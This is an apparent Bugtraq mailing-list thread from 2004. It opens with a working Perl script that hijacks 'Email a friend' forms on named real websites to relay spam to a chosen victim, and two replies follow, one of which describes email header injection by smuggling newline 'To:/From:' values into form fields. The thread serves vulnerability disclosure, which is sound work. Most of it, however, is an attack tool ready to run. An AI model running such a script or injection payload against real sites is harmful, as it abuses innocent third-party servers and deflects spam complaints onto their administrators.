Onderwerp: Spammers can hide behind 'Email a friend/article' scripts.

# Author: Vengy
# Email: cyber_flash@hotmail.com
# Description: Spammers can hide behind 'Email a friend/article' scripts.
#
#
# How it works:
# -------------
# This simple perl script will send just 3 identical fake spam messages
# to 'yourname@yourdomain.com' from 'vengy@spam4u.com'. Example:
#
# +------------------------------------------+
# | From : <vengy@spam4u.com> |
# | Sent : Friday, April 9, 2004 6:34 PM |
# | To : <yourname@yourdomain.com> |
# | Subject : To spam or not to spam! |
# | |
# | Urgent! Call me: 1-900-EAT-SPAM |
# | |
# | www.spammmmmm.com |
# +------------------------------------------+
#
# If a spammer or victim sends junk email directly to their ISP SMTP servers,
# network Admins can trace back the connection and deal with the problem.
#
# But, the 'Email a friend' technique will deflect a significant portion of
# the complaints away from spammers and towards the administrators of the hijacked host.
#
# There are possibly zillions of insecure 'Email a friend/article' on the web! (just google it)
# Many allow multiple unrestricted emails to be sent separated by comma's.
# (Imagine an automated harvester to compile a list of open spam servers!)
#
# For demonstrational purposes, here are two random servers:
#
#
# Host: Outgoing SMTP Server: Email Originator:
# ===== ===================== =================
# www.wcqp.com relay.westlaw.com eg-fsite-b12.ecom.tlrg.com
# edinburghnews.scotsman.com macdui.scotsman.com 80-75-65-10.eqsn.net
#
#
# Notes: Relaying is denied (550) when connecting directly to the SMTP servers.
# However, by using email forms, the Originator has access to send messages!
#
#
# Arguments to Send_SPAM are:
# ---------------------------
# 1. Webserver.
# 2. Email script.
# 3. Host.
# 4. Content.
# 5. Email address of Victim.
# 6. Number of copies to send.


use IO::Socket::INET qw(CRLF);


my $victim = 'yourname@yourdomain.com';
my $copies = 3;
my $sender_email = 'vengy@spam4u.com';
my $sender_name = 'vengy';
my $subject = 'To+spam+or+not+to+spam%21';
my $body = 'Urgent!+Call+me:+1-900-EAT-SPAM';
my $spam_url = 'http%3A%2F%2Fwww.spammmmmm.com';


################## Spam Server #1 ##################
Send_SPAM('www.wcqp.com',
'FSL5CS/Custom/emailPageConfirm.asp',
'www.wcqp.com',
'friend_name='.("%2C" x ($copies-1)).'&friend_email='.$victim.'&your_name='.$sender _name.'&your_email='.$sender_email.'&subject='.$su bject.'&comments='.$body.'&url='.$spam_url,
$victim,
$copies);

################## Spam Server #2 ##################
Send_SPAM('216.55.105.36.hera.net',
'recommend.php/en/',
'toolbox.academicpriority.co.il',
'recommend='.$spam_url.'&friendsemail='.$victim.'& youremail='.$sender_email.'&yourname='.$sender_nam e,
$victim,
1);


################## Spam Server #3 ##################
Send_SPAM('www.scotsman.com',
'email2.cfm',
'edinburghnews.scotsman.com',
'id=364942004&referringtemplate='.$spam_url.'&refe rringquerystring=id%3D&recipientemail='.$victim.'& sendername='.$sender_name.'&senderemail='.$sender_ email.'&subject='.$subject.'&message='.$body,
$victim,
$copies);


sub Send_SPAM {
my ($server,$url,$host,$content,$email_to,$email_num) = @_;

$repeat_email_to = ($email_to."%2C") x $email_num;
substr($repeat_email_to,-3,3) = "";
$content =~ s/$email_to/$repeat_email_to/;

$sock = IO::Socket::INET->new(PeerAddr => $server ,PeerPort => 'http(80)',Proto => 'tcp');
die "$!" unless $sock;
$sock->autoflush();

print $sock 'POST /'.$url.' HTTP/1.1',CRLF,
'Host: '.$host,CRLF,
'Content-Type: application/x-www-form-urlencoded',CRLF,
'Content-Length: '.length($content),CRLF,
'Connection: Keep-Alive',CRLF,
'Cache-Control: no-cache',CRLF x 2,
$content;

close $sock;

print "Sent SPAM from server: $server\n";
}

Dear cyber_flash@hotmail.com,


--Tuesday, April 27, 2004, 12:26:13 AM, you wrote to bugtraq@securityfocus.com:


chc> # Author: Vengy
chc> # Email: cyber_flash@hotmail.com
chc> # Description: Spammers can hide behind 'Email a friend/article' scripts.

This is usually called "insecure formmail". Multiple DNSBLs list
insecure formmails among over potential spam sources, like open relays
and open proxies. Search google for formmail DNSBL.

--
~/ZARAZA
Æàëî ìíå íå ïîíàäîáèòñÿ (Ñ. Ëåì)

> # Description: Spammers can hide behind 'Email a friend/article' scripts.

These are just an instance of the more general form hijacking attacks. I've
seen several attempts to abuse feedback forms and similar through a simple
scheme - each form field was filled with

"To: <someaddr>\nFrom: <someaddr>\n"

Form scripts that do not check for newlines within the fields are vulnerable
to those attacks in general, for example in perl pseudocode:

open(SENDMAIL, "|/usr/sbin/sendmail -someflags")
or print "Some Error: $!\n";
print SENDMAIL "From: $formfield_from\n";
print SENDMAIL "To: $recipient-taken-from-some-config\n";
print SENDMAIL "Subject: Foo Bar '$formfield_subject'\n";
print SENDMAIL "\nMail content\n";
close(SENDMAIL);

If $formfield_subject contains the above line with additional To:s, it
depends on the MTA whether he parses the additional headers and sends
them along.

Around end of march/beginning of april 2004 I've seen a number of attempts
to abuse such scripts. It look like a systematic approach and not some
random guesses.

-- Matthias

--
Matthias' Braindump http://matthias.leisi.net/